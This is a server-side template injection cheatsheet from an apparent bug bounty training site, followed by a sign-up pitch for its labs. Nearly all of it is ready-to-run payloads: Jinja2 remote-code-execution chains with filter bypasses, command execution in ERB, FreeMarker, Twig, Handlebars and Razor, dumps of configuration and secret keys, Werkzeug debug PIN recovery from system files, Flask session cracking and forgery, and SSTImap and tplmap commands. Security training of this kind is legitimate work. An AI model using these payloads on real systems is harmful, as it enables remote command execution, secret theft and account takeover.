SSTI Cheatsheet

Server-Side Template Injection

Quick reference

  • Decision tree: {{7*7}}=49? -> {{7*"7"}}=7777777 (Jinja2) or 49 (Twig)
  • Look for SSTI in: PDF/email generators, admin templating systems, custom error responses
  • For Jinja2 with strict filters, use hex encoding (\x5f) or chr() to avoid _ and quotes
  • Twig sandbox escape: sort("call_user_func") enables RCE even in sandboxed mode
  • If Flask has debug mode enabled, compute the PIN from /proc and /sys data

Detection and fingerprinting

Initial fuzzing

${{<%[%'"}}%\

Math test Jinja2/TwigIf it returns 49, it's Jinja2 or Twig

{{7*7}}

Distinguish Jinja2 from TwigJinja2 returns 7777777, Twig returns 49

{{7*'7'}}

FreeMarker testIf it returns 49, it's FreeMarker (Java)

${7*7}

ERB test (Ruby)If it returns 49, it's ERB

<%= 7*7 %>

Razor test (.NET)If it returns 49, it's Razor

@(7*7)

Smarty/Mako test

${7*7}

Django testIf it shows debug info, it's Django

{% debug %}

Jinja2 (Python) - RCE

One-shot RCE via request

{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

RCE via subclass chain

{{''.__class__.__mro__[1].__subclasses__()[400]('whoami',shell=True,stdout=-1).communicate()}}

Config and secrets

{{config.items()}}

Django SECRET_KEY

{{settings.SECRET_KEY}}

Filter bypass (hex encoding)Bypass when _ is filtered

{{request|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")}}

Quote-free (chr encoding)

{{''.__class__.__mro__[1].__subclasses__()[396](chr(105)+chr(100),shell=True,stdout=-1).communicate()[0].strip()}}

Other engines - RCE

ERB (Ruby) - system

<%= system("whoami") %>

ERB - backticks

<%= `ls /` %>

FreeMarker (Java)

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

Twig sandbox escapesort() accepts a callback -> call_user_func("system", "id")

{{ ['system','id'] | sort('call_user_func') }}

Handlebars (JS)

{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

Razor (.NET) - Process

@{var proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "cmd.exe";
proc.StartInfo.Arguments = "/c whoami";
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
var output = proc.StandardOutput.ReadToEnd();}@output

Flask/Werkzeug Debug PIN

Compute the PIN with LFI

Leer:
1. /proc/self/environ (username del proceso)
2. /sys/class/net/eth0/address (MAC en decimal)
3. /etc/machine-id o /proc/sys/kernel/random/boot_id
4. Path a flask/app.py (del traceback)
Calcular: SHA1(public_bits + private_bits) -> PIN

Flask session forgeryCrack the Flask session secret key

flask-unsign --wordlist rockyou.txt --unsign --cookie 'eyJ...'

Forge a session

flask-unsign --sign --cookie "{'logged_in': True, 'username': 'admin'}" --secret 'secret123'

Tools

SSTImap

Automated multi-engine SSTI detection and exploitation tool

python3 sstimap.py -u 'https://target.com/?param=test' --os-cmd 'id'

tplmap

SSTImap alternative with support for multiple template engines

python3 tplmap.py -u 'https://target.com/?name=test' --os-cmd 'id'

fenjing

Automatic Jinja2 payload generator with filter bypasses

python3 -c "from fenjing import exec_cmd_payload; ..."

flask-unsign

Crack and forge Flask session cookies

flask-unsign --unsign --cookie 'eyJ...' --wordlist rockyou.txt

Ready to practice?

Put these payloads to work in real labs based on bug bounty reports.

See practice labs
hunters training
650

hunters training

labs from real reports
50

labs from real reports

completions
380

completions

in bounties practiced
$200,000

in bounties practiced

40 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy
BBLabs · bug bounty training

Stop reading about bugs and start hunting them

Create your free account and practice on labs based on real reports that paid out thousands of euros. The Academy is free forever.

No card · free Academy · cancel anytime